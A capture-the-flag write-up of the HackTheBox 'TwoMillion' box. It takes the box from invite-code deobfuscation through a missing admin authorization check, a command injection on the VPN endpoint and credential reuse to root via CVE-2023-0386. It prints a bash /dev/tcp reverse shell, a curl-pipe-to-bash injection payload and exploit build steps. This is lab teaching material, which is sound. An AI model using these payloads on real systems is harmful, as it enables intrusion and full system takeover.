Skip to content

TwoMillion — HackTheBox Writeup

Difficulty: Easy | OS: Linux | Date: 29 Apr 2026


Attack chain

JS deobfuscation → invite code → API enumeration → admin escalation → command injection → RCE → db creds → CVE-2023-0386 → root


Recon

Add the target to /etc/hosts first. Without this, nmap reports "Did not follow redirect to http://2million.htb/" and curl returns 301. The server uses virtual host routing — it only serves content when the hostname matches, not the raw IP.

echo "10.129.229.66 2million.htb" >> /etc/hosts
sudo nmap -sC -sV -oA 2million 10.129.229.66

Two ports open: 22 (SSH) and 80 (nginx). The PHPSESSID httponly flag is not set — noted but not the attack vector. No credentials for SSH yet, ignore it.


Invite code

Browse to http://2million.htb. Login page asks for email/password. Brute forcing credentials is not the path — always browse the whole site before attacking a login form.

Gobuster and manual browsing reveal /invite. The page loads a minified JS file: inviteapi.min.js — obfuscated with a packer.

curl http://2million.htb/js/inviteapi.min.js

The packed JS decodes to reveal two functions and an endpoint: /api/v1/invite/how/to/generate

POST to the generation hint endpoint:

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

Response contains a ROT13-encoded string. Decode it to get the actual invite generation endpoint:

echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

POST to /api/v1/invite/generate — returns a base64-encoded invite code:

curl -X POST http://2million.htb/api/v1/invite/generate
echo "UVI4VkQtNzRBSEItSTYxSkotOUZZR1c=" | base64 -d

Use the decoded code to register an account.


API enumeration and admin escalation

Log in, grab the PHPSESSID cookie from the browser, enumerate the authenticated API:

curl -b "PHPSESSID=<cookie>" http://2million.htb/api/v1 | jq

API exposes user and admin endpoints including /admin/settings/update and /admin/vpn/generate.

Escalate own account to admin — no server-side authorisation check on this route:

curl -X PUT -b "PHPSESSID=<cookie>" \
  -H "Content-Type: application/json" \
  -d '{"email":"alex@mail.com","is_admin":1}' \
  http://2million.htb/api/v1/admin/settings/update

Note: the JSON must be well-formed. A malformed email value causes a "missing email" error that looks like a logic error but is just bad JSON.


RCE via command injection

The VPN generate endpoint passes the username parameter directly into a shell command without sanitisation:

system("bash /var/www/gen_vpn.sh " . $username);

Whatever you inject into username gets executed by the server's bash.

Direct injection via curl fails on macOS because zsh intercepts $() and >& locally before the payload reaches the server. Fix: write the payload to a file so zsh never touches it.

# On your machine
echo 'bash -i >& /dev/tcp/10.10.14.91/4444 0>&1' > shell.sh
python3 -m http.server 8080
echo '{"username":"$(curl http://10.10.14.91:8080/shell.sh|bash)"}' > payload.json

$() in the payload file is sent as a raw string by curl. The server receives it, evaluates it, fetches shell.sh from your python server, and pipes it into bash. bash then opens a TCP connection back to your netcat listener.

Start the listener, then send the payload:

# Terminal 1
nc -l 4444

# Terminal 2
curl -b "PHPSESSID=<cookie>" -H "Content-Type: application/json" \
  -X POST -d @payload.json \
  http://2million.htb/api/v1/admin/vpn/generate

Reverse shell connects as www-data.


User flag

www-data cannot read /home/admin/user.txt. Find credentials in the web app config:

cat /var/www/html/.env

Database credentials exposed in plaintext. Reuse them to switch to admin — password reuse between DB and system account is the vulnerability here, common in real environments.

python3 -c 'import pty;pty.spawn("/bin/bash")'
su admin
cat /home/admin/user.txt

Privilege escalation — CVE-2023-0386 (OverlayFS)

Admin has mail referencing a kernel CVE in OverlayFS/FUSE:

cat /var/mail/admin

CVE-2023-0386: OverlayFS doesn't correctly check permissions when copying files between user namespaces. An attacker can create a root-owned setuid binary in their own namespace and copy it to /tmp. The kernel copies it without stripping the setuid bit, giving you a binary that executes as root.

The box has no internet access. Clone the exploit on your machine, zip it, serve it, pull it onto the box:

# On your machine
git clone https://github.com/xkaneiki/CVE-2023-0386
zip -r exploit.zip CVE-2023-0386

# On the box
cd /tmp && curl http://10.10.14.91:8080/exploit.zip -o exploit.zip && unzip exploit.zip
cd /tmp/CVE-2023-0386 && make

make produces warnings but compiles successfully. The exploit requires two processes running simultaneously — run fuse in background, then immediately execute exp:

cd /tmp/CVE-2023-0386
./fuse ./ovlcap/lower ./gc &
./exp

Root shell obtained.

cat /root/root.txt

Lessons

  • Always enumerate before attacking. Recon is the attack.
  • On macOS, shell metacharacters in curl payloads get interpreted locally by zsh — write payloads to files instead.
  • Check /var/mail and config files like .env for credentials before reaching for heavy privilege escalation tools.
  • The hint for the kernel CVE was in the admin's inbox — read everything once you have access.